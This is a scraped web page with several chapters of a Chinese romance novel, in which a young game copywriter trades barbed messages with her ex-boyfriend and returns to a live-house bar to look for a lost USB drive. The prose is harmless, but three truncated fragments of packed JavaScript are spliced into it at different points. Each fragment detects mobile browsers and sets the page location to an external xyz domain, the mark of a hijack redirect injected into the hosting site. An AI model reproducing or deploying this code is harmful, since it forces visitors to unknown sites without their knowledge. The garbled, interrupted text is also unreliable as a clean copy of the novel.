前前后后折腾了这么一圈,一到家,明翊只觉得浑身都跟泄了气的皮球似的,身心俱疲。她在门口收了伞,后半程忽然就下起了小雨,淅淅沥沥,不算大,气氛却愈显沉闷。 雨线夹杂雪粒落在伞面,明翊握着伞柄的手指被冻得通红,她使劲握了握,才觉得勉强恢复了些知觉,一直也没顾得上看手机。 锁上门,犹豫着,还是给越之扬发了条微信道谢:【谢谢您今晚的见义勇为,这是赔偿款,以及谢礼,请及时查收。】 因为完全不知道该跟对面说什么,似乎也没法攀关系,之前的讲话方式并不适用,又因为接连两次的鬼迷心窍,此刻她这措辞谨慎得像是在跟上级汇报工作。 那头始终没有回复。 把伞晾在角落,明翊靠在玄关,又把聊天记录往上翻了翻。 这还是他们分手后第一次正经聊天。 明翊没有换过手机号码,但之前的信息被拷贝进电脑的时候手机端似乎是出了什么问题,所有的聊天记录都被清空。 自然是再翻不出什么。 伞面的雨水蹭上裤腿,凉意渗进皮肤,她情不自禁打了个颤。 很快朝卧室走去,这是间一居室,套内面积近四十平,一室一厅一卫,全部分割成小小的截断,一个人住得也算舒心。 要想在一个陌生城市落脚,有两大难关:一是工作,二是住房。 工作的问题倒是不怎么麻烦,玩趣科技已经是明翊可选择范围内最好的去处,这年头本科生遍地,她除了学历高、年轻能熬夜外,也再没别的优势。 目前这份工作,除了因为是游戏行业所以加班真的有点严重,转正后薪资待遇以及员工福利还是挺可观的。 就是这住房,总让明翊觉得头疼。 她对住的地方其实不怎么挑,但不擅长处理人际关系。或许真如室友所说,她这个人性格就有问题,就像是个冷血动物,完全没办法适应稍微亲密些的人际关系。 大学四年的同居生涯没有让她们的关系变亲密,反倒是在快毕业的时候闹得不欢而散。 之前跟她合租的是位女生,比明翊还小上两岁,是在校大学生兼职游戏主播。 两人倒没多少矛盾,只是那小姑娘工作尤其卖力,白天明翊不在家,她似乎也有课,只有晚上回来住,然后就是整夜整夜的直播,游戏音效一直要放到后半夜才肯消停。 虽说也算半个同行,但明翊也是实在忍不了白天被游戏公司的任务追杀,晚上又要被隔壁直播游戏的室友追杀。 她这人有很严重的睡眠障碍,不靠褪黑素基本睡不着,精神压力大的时候甚至要一连吃两三颗才能睡着,长此以往,生活作息的矛盾是真的难以调和。 十一月初,明翊果断退租从那里搬了出来,开启了还算舒适的独居生活。 进卧室换好衣服,她将脏衣服扔进洗衣机,打算明天再洗。 又翻出手机,盯着毫无回音的消息界面看了几眼:“……” 她果断切出界面。 给钟以晴发了条微信后,就进了浴室。 洗完澡出来,对面刚好回消息。 钟以晴:【还没回呢】 钟以晴:【早知道我和你一块儿回去算了/郁闷】 擦头发的动作一顿,明翊朝时钟方向瞥了眼。 已经接近一点。 她很快问:【怎么了,发生什么事了吗】 钟以晴住的地方离万达广场不远,来回不过十五分钟车程,耽搁到这个点儿还没回去,确实是有些晚了。 钟以晴:【有事,天大的事,我遇到电信诈骗了】 明翊:【?】 钟以晴:【就你那个贝斯手校友】 钟以晴接连三条语音弹过来。 明翊不是很习惯听人发语音,又慢吞吞转了文字。 钟以晴:【老娘是为了他才留下来等散场的抽奖。】 钟以晴:【服务生说结束后可以跟乐队成员合影。】 钟以晴:【结果呢!贝斯手演出到一半人没了!!!我以为他只是中场休息,结果等到最后也没出现,老天奶啊!你说!这不是电信诈骗是什么!!!】 粉丝合影? 居然真有这活动。 明翊嘴角抽了抽。 越之扬的品味,还真是…不敢恭维。 她拿起手机对着听筒语音转文字。 明翊:【这不叫电信诈骗。这应该叫,杀猪盘。】 钟以晴:【……】 钟以晴:【?你骂谁是猪?】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765352|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明翊火速滑跪,发过去一个卖萌的loopy表情包。 钟以晴:【不过听说这家店出事了,有位小姐姐好像是被骚扰了,散场时的安保可严了,都快跟过安检差不多了。】 明翊蜷了蜷手指,下意识略过这个话题:【那挺好。女性顾客多的地方,安保是该严一些,不然影响生意。】 钟以晴:【这倒是,如果我被骚扰的话我肯定拉黑这家店】 钟以晴:【再索赔个万儿八千的】 “……” 明翊默了默。 钟以晴:【对了笑笑,你有没有什么地方感觉不舒服?】 明翊:【嗯?】 钟以晴:【刚那服务生跟我说不小心给你上错酒了,做给你的那杯气泡水和另一位客人的特调弄混了,不知道是谁端给你了】 钟以晴:【你没喝大吧?】 明翊顿了下,又看向镜子。 钟以晴是知道她从不喝酒的,只觉得明翊这人酒量不行,还容易对各种奇奇怪怪的东西过敏,从来也不逼她。 明翊盯着镜子里的人,视线定住,忍不住伸手摸了把脸。 …好像是真有些上头。 这会儿她已经洗完澡出来了,整个人素面朝天,除了过敏引起的轻微红肿外,眼眶也隐约泛着红,像哭过似的。 倒意外显得唇红齿白,气色很好。 跟往日那种不沾多少人气儿的苍白有所不同。 如果真是因为喝酒上头,那今晚那些鬼迷心窍般的举动,似乎也…… 情有可原? 手机提示音再度响起,将她的思绪拉回。 钟以晴:【真醉了?】 钟以晴:【没事吧,需不需要去医院看看,你别还有酒精这个过敏源】 之前查过几次过敏源,明确记录在案的只有一项,明翊安慰了她几句,两人又聊起来。 钟以晴:【我靠,刚刚还真下了场雨啊,这破天快冷死我了,李澄这狗东西也不来接我】 想起之前的猜测,明翊正打算提醒她一下,那边忽然弹过来两句。 钟以晴:【姐妹!李澄接我来了/开心/转圈】 钟以晴:【我去停车场找他了,不跟你聊了哈。】 “……” 行吧。 明翊对李澄这人很有意见。 不单单出于对他外表的质疑,还有更深层次的原因,两人曾是初中同学,当初的相处并不怎么愉快。但架不住钟以晴现在似乎是谈得挺认真,而当年那些陈芝麻烂谷子的事也早就是过去式。 人一长大,就跟翻新了似的,不能拿前朝的剑斩本朝的官。 可越之扬这人,怎么就能一点儿没变呢? 照旧是那么一副张扬恣意的模样,这世界像是没在他身上落下任何一道痕迹,连嘴欠的方式都跟记忆里一模一样。 想到这,明翊又记起分手那天的争锋相对。 正想着要不要早点把事情解释清楚,坦白自己只是一时气话,再顺便道个歉什么的,搁在枕头上的手机忽然振了一下。 她扶着干发帽慢吞吞地挪过去,又划开屏幕。 因为这些年也一直没想着把谁的聊天置顶,所以此刻,那个原本排序第二的对话框忽然就被顶到了最上层。 以至于不用点进去,明翊都能看清那则消息的内容—— 【?】 来自越之扬。 9. 09 明翊完全没懂对面这是个什么反应。 对着这个问号揣摩半天,她莫名有种自己发过去的不是赔偿款以及谢礼,而是某张催收欠条的错觉。 “……” 难道是谢的还不够明显? 又看了眼聊天记录,这回倒是真琢磨出了点儿不对。 或许是因为二人这尴尬的气氛一直延续至今,明翊也不太敢跟他放开了讲话,措辞严谨得像是印着白字蓝底的官方通报。 语气自然是不怎么好。 也显得不够真诚。 想着要缓和一下气氛,她只好又重新敲下一行字。 按下发送键的那刻,对面恰好弹出一句: 【我是打手?】 而她这边已经发送—— 【我的意思是真的很感谢你今天的鼎力相助】 “……” 两行字整整齐齐叠在一处。 倒真是句句有回音。 静默三秒。 对面夺命三连击。 越之扬:【呵,你真是这个】 越之扬:【/棒】 越之扬:退回了一笔转账。 听着金额到账的提示音,明翊整个人都不太好了。 觉得不能就这么把钱给眛下,该把应负的责任都负起,她只好硬着头皮又发了一遍,上面还附着自己润色过后万分真诚的解释。 越之扬:【已退还】 再改。 越之扬:【已退还】 刚要再发,下一秒。 越之扬:【再发拉黑】 “……” 瞅着这明显不耐的语气,明翊只得作罢。 算了。 实在是谢不出去。 * 因为这番波折,尽管吃了助眠的药,明翊还是没有睡好。 几乎一整夜都沉溺于荒唐又无逻辑的离奇梦境。梦里是景象破败的老城,细雨如絮,轻飘飘浮在秋日的午后,一切都显得不真实。 身旁不断有人经过,一道黑色身影沉默着擦着她的肩而过。 那背影原本高而瘦,像一棵恣意生长的挺拔白杨,此刻却微微弓着腰背,莫名显得寥落而冷清。 青年没有撑伞,只戴着兜帽,发梢被雨水全数浸湿。 明翊下意识往前追了两步,没费多少力气就抓住了他的衣角。 便利店门口的风铃在雨中轻轻晃动,叮当作响,她隐约听见道熟悉的消息提示音。 转瞬,整片衣角随着梦境一起碎裂。 场景分崩离析前,那人回头,露出一张青涩而桀骜的脸。 再醒来,时钟指向凌晨二三点附近。 才睡了不到三个小时。 尽管荒唐,明翊还是不得不承认,时隔半年,她竟然久违地再次梦到了越之扬。 她翻了个身,下意识去摸手机。 拜阴魂不散的前男友所赐,本就不好的睡眠质量雪上加霜,这么一动,感觉脑袋跟被针扎过似的。 她点亮屏幕,开始翻消息列表。 因为急着睡觉,临睡前明翊忘了要把手机调成免打扰模式,刚才那动静,似乎是有消息进来。 她猜测是钟以晴。 钟以晴最爱半夜刷小视频看网上的男菩萨秀腹肌,再一股脑地转发给她,美其名曰有福同享,这个点又正好是她周末冲浪的时间段。 这次却不是钟以晴。 翻过一圈,切回主界面的时候,短信那栏显示着个小小的‘1’。 头脑始终昏昏沉沉,倒是忘了还有这个老掉牙的通信方式。 明翊不喜欢用短信,也不太爱给别人留自己的私人号码。 她这人有个习惯,在如今这个骚扰电话、垃圾短信满天飞的年代,将自己的私人号码保护得很好。 别说是路上搭讪,就算是亲朋好友也是同等待遇,不是特别有必要的基本不会交换联系方式。 这时代网络通讯发达无比,光靠微信就能完成大部分的日常工作交流。私密性也够高,不会出现那种忽然就有陌生人发来莫名其妙短信的情况。 但不知是从哪一天起,明翊忽然就收到了一条陌生的骚扰短信。 归属地来自滨江。 当时她愣了许久,才敢点进去看。 看清之后,登时松了一口气。 那不是什么乱七八糟的骚扰短信,除了号码归属地瞧上去实在有些不妙外,再没别的不妥。 至于短信的内容,可以说是非常正经。 正经的都显得有些不正常。 因为那是一则天气预报。 每一天、滨江市的、天气预报。 只在有雨的时候出现。 发短信的人像个无比精准的雨天报时器,每当滨江的这一天会下雨,那么消息提示音会在前一晚十一点准时响起,提醒她第二天的气温与降雨量。 如果隔天是个大晴天,那么手机一整天都安安静静。 明翊的记性不算好,准确来说,是她对自己的生活并不怎么上心。 吃饭能对付一口是一口,对居住环境的要求高却不娇气,身处之前那种糟心的噪音污染里也毫不在意地忍了近一月,照旧像个机器人一样按部就班工作生活。 但或许是连机器人也有弱点,更别提她。 明翊总也养不成提前看天气预报的好习惯,一旦淋了雨感冒,只能靠着感冒药续命,下一回却又是同样的不长记性。 来滨江近三月,她时常会收到这个陌生号码的天气预报,语气正经又严肃。 出门前明翊会习惯性处理一下前一晚的工作消息,查收邮件。 因此这‘骚扰短信’也连带着让她免了好几场突如其来的暴雨,久而久之,竟莫名生出了某种惺惺相惜之感。 就像是入睡前必须要吃的助眠药,一旦真的融入生活,哪天下雨时没收到这短信反而会不习惯。 明翊也没多想,一直以为这是滨江市政新推出的便民服务,欣慰之余还向旁人推荐,虽然别人听到总也一副迷惑不解的表情。 她这人性子有些冷,也不多在意,只照常做好自己的事情,所以就连昨天也老老实实地按照消息提示带伞出门。 可现在。 望着那个眼熟的号码,明翊的瞳孔不自觉放大,疑心是自己眼花。 她切出去。 又重新点开。 往上扒拉两下。 确认。 这就是一直以来自己所熟悉的号码。 窗外隐约传来几道淅淅沥沥的雨声,如豆的雨滴不知疲倦地敲打着窗户,像是不合时宜的背景音。 深呼吸两口,明翊压下额角沉闷的钝痛,强迫自己的注意力定在屏幕。 最新一条消息发送于不久前。 这则短信夹杂在一堆模式化的天气预报里,意外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765353|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的简短,也意外的直白—— 【谈恋爱了,新女友长得比你漂亮。】 “……” 明翊:? 什么鬼。 谁家小情侣闹矛盾闹到她这儿来了。 这瞬间,脑海里电光石火般闪过什么。 等等。 她好像猜到是谁了。 试探着敲出一行:【?】 对面久久没有回应。 明翊却已经有了答案:越之扬。 不得不说,她险些是真被气笑了。 笑过之后,只觉得无语。 这么幼稚的报复方式,除了越之扬那傻缺还会有谁?一次合照专门艾特她出场还不够,同样的套路玩两次。 任谁看了都能猜出是他。 明翊一阵气闷,忽然觉得自己很亏,枉她昨晚还好心发过去转账,百般解释自己的意图,甚至想着要不要道个歉来缓和一下二人这尴尬的关系。 如今看来,不管是歉意还是谢意,都大可不必。 前男友就该做成标本,永永远远埋葬在内心深处的坟堆里。 有一个算一个。 窗外雨声越发急切。 明翊握着手机,觉得自己快被这条短信气得呼吸不畅。 没有什么会比被信任的东西直接背刺更让人窝火。 更别提,这么久以来,她还傻乎乎地将那短信当做是赖以生存的友好提示,可谁知道越之扬那边是怎么想的。 这狗甚至还有可能跟自己的狐朋狗友们一起无情嘲笑她。 再联想一下昨夜不期而遇时,自己还规规矩矩拿着那把破伞,明翊悔得肠子都快青了。 那番场景落在越之扬眼里,他还指不定怎么胡乱揣测她呢。 怕是会觉得她又没脑子又听话。 她这人虽然能忍,但也不是这么个忍法,没道理别人舞到面前了还视若无睹。 这一刻,明翊只觉得自己信赖无比的雨天报时器忽然化形成人,拿着一堆信件结结实实在她脑门砸了一下,然后叽里呱啦发出些刺耳的笑声。 再一看,这东西还长着越之扬的脸。 心更寒了。 雨声哗哗作响,明翊沉默了有两三分钟,而后啪的一声按开床头灯,直接坐起,腾出手将手机屏幕戳得砰砰响。 【你是不有病?】 【有病就早点去治,智障严重到你这种程度还真不是没有传染的可能。】 三秒过后,又全部删掉。 啧,总觉得差点意思。 没有到越之扬那种又气人又膈应的恶心程度。不够令人发指,也没有直击人心最痛处的效果。 明翊索性也不急着睡觉了,誓要跟越之扬黑恶势力作斗争! 过了三分钟。 脑内灵光一闪,她心里恶向胆边生,灵感也就顺势来了。 【祝你幸福,王涛。】 【无论如何,你永远都是我最爱的人。】 明翊果断点击发送。 也没有什么比说一个男人不行更羞辱的话术了。 如果有,那大概只能是他直接不配在她这里拥有姓名。 他发合照特意气她,那她只好有样学样,以其人之道还治其人之身。 再一联系分手时脱口而出的那句玩够了,明翊觉得自己做得简直好极了。 至于王涛是谁? 不知道啊。 10. 10 隔天,明翊按日程去医院拿药。 休息日人多,她特地起了个大早,踩着时间赶上最早班地铁,挂完号后前面还排着十多号人。 倒也不是因为越之扬。 前男友再狗,也不到能直接把她气进医院的程度。 明翊这是旧毛病了,在医生那儿也算是混了个脸熟。 进了诊室,对面很快按流程询问。 “最近睡眠怎么样?” “还行。可以睡着,但睡眠时间总是断断续续。” “还经常做梦吗?” “……没怎么做了。” 将昨晚那场梦境略去,明翊只简短复述了一下这段时间的近况。 医生又问:“情绪呢?” “还算平静。” “这是好事。”那边低着头签字,“过敏是因为接触到了过敏源?还是心理原因?” 明翊如实回答:“应该是最近工作压力太大。” “那要多注意休息,休息时间可以试着多接触大自然和小动物。” 她点头:“好,我会注意。” …… 因为就诊的患者实在多,这种问诊通常不会持续很久。 不过十分钟,明翊便拿着单子从病房走了出来,坐扶梯去一层的窗口取药。 钟以晴又在微信上尝试拐她出来放松。 钟以晴:【定位】 钟以晴:【这家餐厅不错!要不要下午去打卡?】 因为这段时间明翊的心情始终不佳,钟以晴的说话方式都快转化成萌妹了,三句话不离表情包。 明翊想了想:【不了,我下午还得赶稿。】 虽说是放了两天假,但新活动的文案还没敲定,组长说周一必须提交,剩下这一天,其实算居家办公。 回完消息,明翊将手机收回口袋。 目光不经意一扫,在三层的电梯旁意外瞧见道熟悉的背影。 高瘦,挺拔。 像一棵暗色的树,与周遭的一切格格不入。 四周人群都行色匆匆,唯有那道背影在电梯前短暂驻足,像是个静止的坐标。 明翊眉心一跳,正打算细看。 几位行人忽地自眼前经过,她的视线被彻底挡住。再看去,电梯门已然阖上,那身影也消失不见。 “……” 疑心是自己看错,明翊很快收回眼。 * 回去之后随意吃了点东西,明翊就开始工作。 从十一点到下午五点多,她几乎都在埋头写稿,工作群里时不时跳出几条新的修改意见和批注,而后就是无止境地改改改。 目前在的组主要负责一款奇幻题材的小众网游,游戏名十分符合组内人员的工作状态,叫《洛川夜行录》。 明翊觉得这名字还挺切题。 毕竟同组的冤种同事们每天顶着两个硕大的黑眼圈熬到快后半夜,偶尔抬头对视一眼,能从彼此眼中捕捉到同样浓烈的死意,怎么不算‘夜行’? 抛开这点,明翊觉得这工作其实也挺有趣,梳理剧情时能短暂地从枯燥的现实世界里脱身。 她刚入行不久,前三个月的工作日常就是一口气给300多个奖励道具命名并解释清楚主要用途,再时不时搜集个几百页资料,分门别类后交给主笔。 又或是根据组长的要求给玩家武器库编写各类酷炫且逼格够高的武器名,当好最底层的包装工。 但上月离职了一位负责支线剧情的老文案,一时找不到合适的人替代。基本功还算不错的明翊只好顶上,跟着一起历练,历练得她头发不到半月就掉了一大把。 将修改后的版本提交。 明翊去客厅接了杯水,把过敏药吃上,又对着镜子看了看,红肿已经消下去不少,没必要再抹药膏。 她端着水杯朝卧室走。 任楠那边忽然发来私聊:【你知道苗苗姐给我的修改意见是什么吗/崩溃】 明翊顿了顿,试探道:【改回第一版?】 任楠:【你猜对了。】 任楠:【我现在挺想死的。】 下一秒,三人工作群里忽然跳出了几条新消息。 林苗苗:【我看了看,还是用第一版吧。】 林苗苗:【后面的几版用词都太浮夸了。】 明翊回复:【收到。】 任楠:【收到。】 事情勉强就这么定下。 过几秒,任楠又发来消息:【姐,你那儿还有没有第一版的文件。】 明翊:【怎么了?】 任楠:【我之前的忘备份了,只有最新三版。】 明翊:【微信文件里不是有?】 任楠:【昨天想下个新游,内存不够,就把微信给清空了一遍……】 任楠:【电脑端也没来得及存】 明翊默了默:【我U盘里还有一份】 新活动的文案前前后后改了快一个月,最初版是她和任楠一起做的。 在此期间,明翊的电脑拿去清过一次盘,但好在她有在U盘备份的习惯。 很快在桌面翻过一遍,又去常用的置物架里摸了摸,明翊惊悚地发现: 她的U盘,居然不见了。 那还是在大学时期的旧物,平常也不怎么往出带,多是留在家里用,只可能出现在常去的几个地点,今天却像是见了鬼,怎么翻都不见踪影。 一时间,明翊也有些慌。 任楠那边又发来消息:【姐?】 明翊顿了顿,才回复:【我现在,也挺想死的】 任楠:【啊?】 明翊:【备用U盘好像是找不到了】 任楠:【……】 明翊想了想:【苗苗姐那边应该会有第一版吧】 这时,工作群忽地弹出一条。 林苗苗:【对了,你俩儿谁那还有初版文案,我这文件过期了@明翊@任楠】 明翊:【……】 任楠:【……】 明翊也不知道她是怎么没接收文件就能判断出第一版最好,但现在问题的重点显然不是这个。 文案周二就要审核,怎么着也得想办法赶着周一交上去,一夜之间想必也是没法创造奇迹。 任楠:【我现在倒流时间回到清内存之前还来得及吗?】 明翊:【应该是来不及】 因他这句话,明翊忽地想起些什么。 她最近确实是有带着U盘出过门,就在昨天。周五的时候,因为要拷个项目资料,她把U盘带到了公司,结束工作后直接装进了手包,再没拿出来。之后就是连衣服也没来得及换就去赴钟以晴的约。 然后。 碰见越之扬。 这么想着,明翊又去昨天的包里翻过一遍。 里面空空如也,除了口罩、常用药以及工牌外再没别的东西。 很有可能是昨天落在哪里了。 而她昨天去的地方只有一个。 “……” 任楠安慰她:【没事儿姐,我想起公司的电脑里还有备份,等明天去了再提交也行】 明翊也想起自己的云端还有备份,很快给林苗苗发过去。 但现在的问题已经不止于此。 文案这行在项目期内有严格的保密协议,就连工作电脑也不能擅自往家带,防的就是内容泄露。而明翊昨天拷的内容恰好就是下一期策划的主题,万一被人捡到不小心在活动未推出之前曝光,那这行她是彻底别想干了。 还得多亏了任楠,才能发现这茬。 接收到文件,林苗苗很快回复:【行,收到。】 任楠也正准备私聊明翊道谢,下一秒,聊天框忽地弹出一则消息:【谢谢你。】 任楠:【?】 明翊:【我是真的谢谢你。】 任楠:【……】 * 三十分钟后。 明翊围着围巾,站在说好‘再也没有下次’的LiveHouse门前。 人生或许就是这样峰回路转然后转进死胡同。 来的路上,她已暗自分析过一遍。 昨夜打开过包的地方只有一个,LiveHouse洗手间门口,很大可能就是在她砸黄毛的当口U盘从包里飞了出去。 本来这也不算什么大事,可偏偏是在这时候,不慎戳穿了前男友险恶用心且予以回击的当下。 明翊不是多扭捏的性格,回来找寻失物也是理所应当,但因为昨天那条莫名其妙的短信,想着要再一次踏进这家店,她总觉得似乎哪里都不自在。 这季节的滨江天黑得格外早,还不到六点,天色就开始擦黑。 室外寒风呼啸,头顶光影不断交替的蓝紫色灯带在明翊脸上落了几道阴影,点亮她暗色的瞳。 昨夜排队时光顾着跟钟以晴痛骂前男友,没太细看,如今明翊才注意到这家店的名字。 不同于入场手环的花里胡哨,招牌上方的字体简约大方,设计得格外有艺术感,只几个简简单单的字母—— 「Flechazo」 似乎不是英语。 明翊没多看,直接走了进去。 今夜的LiveHouse较之昨晚稍显冷清,店里的留声机里播放着老式唱片,曲调婉转悠扬,高雅得有些让人疑心是不是找错了地儿。 可Eden就站在柜台前,正低着头在对账单。这时,脑海里忽然跳出越之扬吊儿郎当的声音。 ——赔偿的话,找前台。 明翊走过去,很快冲他打了个招呼。 Eden闻声扬起脸,眼睛亮亮的:“是你啊!没想到这么快,我们就再见面了。” 他走出前台,打算带明翊入座。 Eden年纪小,有种只属于年轻人的蓬勃朝气,笑起来也阳光。 除了爱私底下吐槽老板外再没什么毛病。 但正因为这点,明翊觉得自己和他似乎格外投缘。 Eden笑着招呼。 “你想喝点儿什么,今晚我请客!” 明翊摆摆手拒绝了他的好意,说自己只是过来找个东西。 描述过一番那U盘的模样,Eden在前台存放失物的柜台里翻过一遍,很快回来,冲她一摊手,没找到。 因为U盘实在太小,监控里也看得不是很清楚。 那边又开始询问别的店员有没有看到。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765354|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >明翊站在柜台边默默等着。想着可能是昨晚场子热,店里也许没来得及仔细打扫过每个角落,卫生间这种地方又容易被忽略。 不好再添麻烦,她打算自己过去找找。 刚走出几步,Eden就跟了上来。 一时间,明翊有些没反应过来:“不用麻烦了,我自己过去看看就行,你忙吧。” “帮顾客找回失物,这怎么不算工作了?而且我这对账对得眼都快花了,小姐姐你这可算是帮了我大忙。” 不知道他这是防着自己还是别的什么,但转念一想,自己工作时似乎也有这样撑不住溜到茶水间摸鱼的毛病,明翊也只好任由这人跟在后头。 二人一前一后往里走着,明翊想了想,还是忍不住问起:“你们这儿,今晚没有演出吗?” “哪儿能天天演出啊,就算是乐队有时间那顾客的身体也吃不消啊。” “我们老板说这种福利活动呢,不能太频繁,不然就没新意了,平时也就跟一般清吧差不太多吧。” 明翊忍了忍,没说什么。 福利活动。 这话越之扬那狗也好意思往外说。 但听到这回答,她还是稍稍放松了些,想着今晚应该不会再出现昨天那种尴尬场景。 正说着,Eden忽地看向她,热情得有些过分:“对了,小姐姐。工作辛苦,你要是想放松的话可以和朋友常来,之前的赔偿不是还没给你,我们这边可以给你们一起免单。” 明翊只客气一笑,说会考虑。 二人顺着走廊找了一圈,又在洗手台附近看了看。营业期间Eden不方便进入女士场所,明翊一个人进了洗手间。 过了一会儿,她才抿着唇出来。 看到她的表情Eden就知道不妙。 “没事,你别担心,东西在我们店里丢的,我们肯定会负责到底。”Eden又安慰她,“你放心,等今天打烊了我一定把店里给地毯式搜一遍。我们这儿服务生虽然不多,但都帮你留意着,一定能找到。” 明翊顿了顿,勉强撑起个笑容。 “谢谢,虽然也不是多重要的东西——” 话还没说完,忽地刺啦一声。 对面洗手间的门被人拉开。 明翊抬眼看过去,呼吸瞬间漏了一拍。 “……” 居然是越之扬。 按理说今天没有演出,越之扬大概率会留在学校。最近考试又多,明翊实在想不出这人是怎么一边念书一边跟个无业游民似的,只觉得他像个阴魂不散的地缚灵。 越不想见他的时候越能撞见。 之前的火气直到现在都还没消,让她如今窝着火还要跟越之扬好声好气地假客套,明翊是真的有些做不到。 默了两秒,她缓缓别过眼,装没看见。 越之扬皱起眉,目光在她身上短暂落了两秒,有些冷淡。 再顺着明翊侧头的方向,不紧不慢移到了隔壁那张人畜无害的小圆脸上。 Eden忍不住摸了摸后脑:“怎么啦,扬哥?” 这人为啥一副要刀人的眼神盯着他看? 还怪吓人。 静默三秒。 对面从鼻腔里慢腾腾地哼出一声,也不知算不算回答,径直向一旁的洗手台走去。 明翊发现这两人的相处模样还挺有趣。 没头脑和…不高兴。 遭到无视的Eden也没多在意,大半个身子直接转向她:“对了小姐姐,方便的话,能加你一个微信吗?” 明翊一愣,这话听着莫名有些像搭讪。 但Eden很快就打消了她自作多情的念头:“东西找到的话,我再联系你,到时候你直接过来取,也不用麻烦你多跑。” 明翊没有当即接话,下意识扫过去一眼。那边,越之扬已经拧开了水龙头,垂着眼似乎是在洗手,水流声哗哗作响。 完全没在意这边的动静。 倒是难得的和平。 明翊垂下眼,觉得事情似乎也只有这么个解决方式,很快答应。 二人交换过微信。 也再没别的事,明翊冲他点头告辞:“那我就先走了,东西找到的话,麻烦你联系我。” “好嘞,我送你!” Eden笑道。 明翊将手机揣回兜里,临走前又不自觉往越之扬那边扫过一眼,总觉得这人今天气压格外低,不知道又在发什么神经。 但这似乎也不关她的事,只要越之扬肯跟她维系这种假模假样的和平,那明翊也可以不去在意他昨晚那条言辞恶劣的短信,当做什么都没发生。 反正以后大概率也不会再见面,没必要彻底撕破脸。 这么想着,明翊很快收回眼,默不作声地朝外走。 谁知刚踏出没两步,身后的人忽然开了口。 “这么急着走啊?” 明翊的脚步一顿,还没太反应过来。 “你两儿不点杯酒搁那坐会儿——” 越之扬顿一下,语调毫无起伏,却用这副懒懒散散的欠揍语气无比淡然地将她刚才费心搭建起来的台阶毫不留情地一脚踹翻。 “再互诉一番衷肠?” 11. 11 这瞬间,明翊还有些错愕。 不是很明白这个人在自言自语些什么。 这里有人搭理他了吗? 从始至终她都未曾分给越之扬半个眼神,而Eden也只是在兢兢业业做好自己的本职工作,所以一开始明翊其实没能分辨出越之扬是不是在跟她说话,以为是自己听岔。 直到那一句‘互诉衷肠’陡然冒出。 洗手间附近也再没别的人,而她先前正好说了那么一句。 ——那我就先走了。 脚步定住的同时,明翊大致在脑海里捋了一遍这不算长久的重逢以来二人之间发生的一系列荒唐事:先是在LiveHouse不期而遇意外撞见,双方都默契地没搭腔,直至被孙卓然无意中戳穿身份。 这期间都还算和平。 之后的经历就像是乘着过山车疾速向下俯冲。警车上的针锋相对,夜半扰人清梦的挑衅短信,以及如今再次撞见后他恶劣又不善的言辞。 那条短信又清晰在明翊眼前浮现。 ——谈恋爱了,新女友长得比你漂亮。 “……” 一瞬间如鲠在喉。 明翊不是主动给自己惹麻烦的人,所有行为的目的都只会是自卫反击,实在看不过眼才会毫不留情地怼上两句。 包括昨天发过去的那则回信。 可能是觉得两人虽然分手但也没必要把关系搞这么僵,大家明面上过得去就可以,又或是觉得没有必要。她在回信时也没有点破他的身份直接痛骂回去,只是用迂回的方式转告: 她不在意,甚至很有可能是认错了人。 不要再用这种幼稚的手段找存在感。 因为太清楚越之扬的性格,得到这种回复他必不可能再放下身段刨根问底,明翊也觉得这事就该就此打住。 两人心照不宣断了这莫名其妙的孽缘,再碰面也只当对方是陌生人。 但越之扬就像是不懂人与人之间点到为止的社交礼仪,每回都是他主动挑事。 不管怎么说,明翊觉得生而为人,还是得讲点儿道理。 那、我、就、先、走、了。 这六个字,有什么问题吗? 平常得不能再平常的告别语。 而且她是在跟Eden讲话,有跟他越之扬多说半个字吗? 所以此时此刻明翊实在是不能理解,这人又在发什么神经,也自觉没有再给越之扬留面子的必要。她缓缓吐出口气,又转过身直直望向越之扬。 正打算张口怼回去。 Eden忽然出声:“那多不好意思啊,人小姐姐还忙着呢。你说是吧?” 明翊:“……” 稍显凝滞的僵硬气氛被忽然打断。 场面却越发古怪。 明翊踌躇着,也不知该不该继续怼他。 越之扬这通邪火的来源虽然不明,指向性倒是意外的明确,明眼人都能看得出是在针对她。 但明翊没想到这里有个‘不明眼’的,没给她任何开口的机会,Eden就已经率先接过了话头。 出于别人也许只是好心解围的想法,考虑一番,明翊还是迟疑着含糊应了声。 空气再度安静。 走廊里莫名响起的那道轻嗤声冷淡又刺耳,如同有回音似的,黑云压顶一般罩在二人头顶。 “…呵。” “你俩儿这么熟?” Eden愣了下,忙接话:“这不是店里的客人吗?扬哥你昨天见过的,你们不是还一起去做了笔录?” 越之扬没有回头,也不接话,照旧闲闲洗着手,微俯下身的背影疏懒,姿态从容得就像刚才那噪声不是他制造的。 听见这话,越之扬顿住,微微偏头朝后看了眼:“是么。” 明翊:“……” 